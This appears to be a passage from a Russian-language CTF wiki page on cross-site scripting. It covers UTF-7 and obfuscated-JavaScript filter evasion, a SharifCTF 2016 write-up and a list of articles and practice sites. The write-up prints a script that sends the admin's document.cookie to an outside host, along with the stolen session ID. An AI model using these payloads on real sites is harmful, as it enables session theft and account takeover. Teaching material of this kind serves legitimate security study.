"ИспользованиС UTF-7.Π—Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π΄Π°Π½Π½Ρ‹ΠΉ способ Π² ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠΈ символов xss-Π²Π΅ΠΊΡ‚ΠΎΡ€Π° Π½Π° UTF-7. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π² Ρ‚Π΅Ρ… случаях, ΠΊΠΎΠ³Π΄Π° Π² страницС Π½Π΅ указываСтся ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠ°, ΠΈ Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ страницу ΠΈΡΠΏΠΎΠ»ΡŒΠ²ΠΎΡ‚ΡŒ UTF-7, Ρ‚Π΅ΠΌ самым, ΠΎΠ±ΠΎΠΉΡ‚ΠΈ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΡŽ, ΠΈΠ·ΠΌΠ΅Π½ΠΈΠ² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· символов UTF-8 Π½Π° UTF-7."

<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"></HEAD>+ADw-SCRIPT+AD4-alert('message');+ADw-/SCRIPT+AD4-

Π’ ΡΡ‚Π°Ρ‚ΡŒΠ΅ http://dsec.ru/ipm-research-center/article/bypassing_the_filtering_of_the_uploaded_images_in_a_number_of_web_applications_for_the_implementatio/ рассказываСтся ΠΎΠ±Ρ…ΠΎΠ΄ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠΈ.

http://raz0r.name/news/xss-filters-bypass-on-blackhat/ А Π²ΠΎΡ‚ ΡƒΠΆΠ΅ с Π±Π»Π΅ΠΊΡ…Π°Ρ‚Π°:

(Γ‰=[Γ…=[],Β΅=!Γ…+Γ…][Β΅[È=-~-~++Γ…]+({}+Γ…) [Γ‡=!!Γ…+Β΅,Βͺ=Γ‡[Γ…]+Γ‡[+!Γ…],Γ…]+Βͺ])() [Β΅[Γ…]+Β΅[Γ…+Γ…]+Γ‡[È]+Βͺ](Γ…)
($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!
+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_)

И Π½Π° послСдок - http://www.smeegesec.com/2012/06/collection-of-cross-site-scripting-xss.html Π’ΡƒΡ‚ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ список xss ΠΏΠ΅ΠΉΠ»ΠΎΠ°Π΄ΠΎΠ² для тСстирования.

ΠœΠ½ΠΎΠΆΠ΅ΡΡ‚Π²ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ²

SHarifCTF 2016 - WEB photoblog

ОписаниС url - http://ctf.sharif.edu:33455/chal/PhotoBlog/d57ad4d0f9afd1f1/ A friend of mine have stolen my cat's picture on his blog. I want to login as admin user on his blog. Do you have any idea?

РСшСниС

1. C dirs3arch ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π½Π°ΠΉΡ‚ΠΈ Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΡŽ Π°Π΄ΠΌΠΈΠ½Π°: admin.php которая Ρ€Π΅Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΈΡ‚ нас Π½Π° login.php. ВсС это Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Ρƒ нас Π½Π΅Ρ‚ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΉ сСссии.
2. XSS Π² ΠΏΠΎΠ»Π΅ ΠΏΠΎΠ΄ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈ,
3. <script>document.write('<img src="http://mysite.com/cookies.php?cookie=' + document.cookie + '" />')</script>
4. Π£ΠΊΡ€Π°Π΄Π΅Π½Π½Ρ‹Π΅ ΠΊΡƒΠΊΠΈ Π°Π΄ΠΌΠΈΠ½Π°: PHPSESSID=515386866780b5f132fc96c02b3ddb82.
5. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΈΡ…, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ страницу Π°Π΄ΠΌΠΈΠ½ΠΊΠΈ ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Ρ„Π»Π°Π³: c03dfe9d79b2dd4a0c8352949bde9ab9

Π‘Ρ‚Π°Ρ‚ΡŒΠΈ ΠΈ ΠΏΡ€ΠΎΡ‡Π΅Π΅

Π‘Ρ‚Π°Ρ‚ΡŒΠΈ https://github.com/codedokode/pasta/blob/master/security/xss.md https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D1%8B%D0%B9_%D1%81%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D0%B8%D0%BD%D0%B3 https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29 http://forum.antichat.ru/threads/20140/ http://forum.antichat.ru/threads/224582/ http://dsec.ru/ipm-research-center/article/bypassing_the_filtering_of_the_uploaded_images_in_a_number_of_web_applications_for_the_implementatio/

Π Π°ΠΉΡ‚Π°ΠΏΡ‹ NorthSec 2015 - XSS Challenge Writeups http://holyvier.blogspot.ru/2015/05/northsec-xss-challenge-writeups.html

CSAW CTF 2014 - WEB 300 http://wiremask.eu/csaw-ctf-2014-web-300-hashes-writeup/

Π’Ρ€Π΅Π½ΠΈΡ€ΠΎΠ²ΠΊΠΈ https://xss-game.appspot.com/ http://www.root-me.org/en/Challenges/Web-Client/Javascript-Stored-XSS-1 http://www.root-me.org/en/Challenges/Web-Client/Javascript-Stored-XSS-2

Last updated